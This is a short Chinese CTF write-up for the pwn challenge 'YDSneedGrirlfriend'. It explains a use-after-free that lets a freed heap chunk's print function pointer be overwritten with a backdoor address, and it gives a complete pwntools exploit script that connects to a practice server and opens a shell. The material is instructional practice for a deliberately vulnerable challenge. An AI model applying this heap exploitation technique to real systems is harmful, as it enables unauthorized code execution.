bjdctf_2020_YDSneedGrirlfriend

bjdctf_2020_YDSneedGrirlfriend

查看保护



这个题直接double free梭哈（XD
有uaf，创建堆的时候还将print的功能也放到了堆里，申请两个0x31大小的堆，这个时候再创建0x21大小的堆这样就可以直接改功能堆块为backdoor。
此时的print这里的地址已经为backdoor了，然后调用show函数的时候实际上调用的是backdoor

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 29563)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Your choice :'

def add(size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Her name size is :', str(size))
    r.sendlineafter('Her name is :', content)

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index :', str(index))

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index :', str(index))

shell = 0x400b9c
add(0x20, 'aaaa')
add(0x20, 'bbbb')

delete(0)
delete(1)

add(0x10, p64(shell))

show(0)

r.interactive()